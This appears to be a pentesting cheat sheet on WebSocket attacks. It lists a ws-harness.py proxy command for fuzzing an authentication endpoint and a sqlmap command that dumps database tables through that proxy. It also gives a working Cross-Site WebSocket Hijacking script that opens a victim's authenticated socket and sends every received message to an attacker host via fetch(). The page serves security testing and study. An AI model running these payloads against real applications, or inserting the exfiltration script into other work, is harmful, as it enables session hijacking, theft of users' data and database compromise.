# Web Sockets

> The WebSocket protocol allows a bidirectional and full-duplex communication between a client and a server

## Summary

* [Tools](#tools)
* [Exploit](#exploit)
  * [Using ws-harness.py](#using-ws-harness-py)
* [Cross-Site WebSocket Hijacking (CSWSH)](#cross-site-websocket-hijacking-cswsh)
* [Labs](#labs)
* [References](#references)

## Tools

* [ws-harness.py](https://gist.githubusercontent.com/mfowl/ae5bc17f986d4fcc2023738127b06138/raw/e8e82467ade45998d46cef355fd9b57182c3e269/ws.harness.py)

## Exploit

### Using ws-harness.py

Start ws-harness to listen on a web-socket, and specify a message template to send to the endpoint.

```powershell
python ws-harness.py -u "ws://dvws.local:8080/authenticate-user" -m ./message.txt
```

The content of the message should contains the **[FUZZ]** keyword.

```json
{"auth_user":"dGVzda==", "auth_pass":"[FUZZ]"}
```

Then you can use any tools against the newly created web service, working as a proxy and tampering on the fly the content of message sent thru the websocket.

```python
sqlmap -u http://127.0.0.1:8000/?fuzz=test --tables --tamper=base64encode --dump
```

## Cross-Site WebSocket Hijacking (CSWSH)

If the WebSocket handshake is not correctly protected using a CSRF token or a
nonce, it's possible to use the authenticated WebSocket of a user on an
attacker's controlled site because the cookies are automatically sent by the
browser. This attack is called Cross-Site WebSocket Hijacking (CSWSH).

Example exploit, hosted on an attacker's server, that exfiltrates the received
data from the WebSocket to the attacker:

```html
<script>
  ws = new WebSocket('wss://vulnerable.example.com/messages');
  ws.onopen = function start(event) {
    ws.send("HELLO");
  }
  ws.onmessage = function handleReply(event) {
    fetch('https://attacker.example.net/?'+event.data, {mode: 'no-cors'});
  }
  ws.send("Some text sent to the server");
</script>
```

You have to adjust the code to your exact situation. E.g. if your web
application uses a `Sec-WebSocket-Protocol` header in the handshake request,
you have to add this value as a 2nd parameter to the `WebSocket` function call
in order to add this header.

## Labs

* [PortSwigger Labs for Web Sockets](https://portswigger.net/web-security/all-labs#http-request-smuggling)

## References

- [HACKING WEB SOCKETS: ALL WEB PENTEST TOOLS WELCOMED by Michael Fowl | Mar 5, 2019](https://web.archive.org/web/20190306170840/https://www.vdalabs.com/2019/03/05/hacking-web-sockets-all-web-pentest-tools-welcomed/)
- [Hacking with WebSockets - Qualys - Mike Shema, Sergey Shekyan, Vaagn Toukharian](https://media.blackhat.com/bh-us-12/Briefings/Shekyan/BH_US_12_Shekyan_Toukharian_Hacking_Websocket_Slides.pdf)
- [Mini WebSocket CTF - January 27, 2020 - Snowscan](https://snowscan.io/bbsctf-evilconneck/#)
- [Hacktricks - CSWSH](https://book.hacktricks.xyz/pentesting-web/cross-site-websocket-hijacking-cswsh)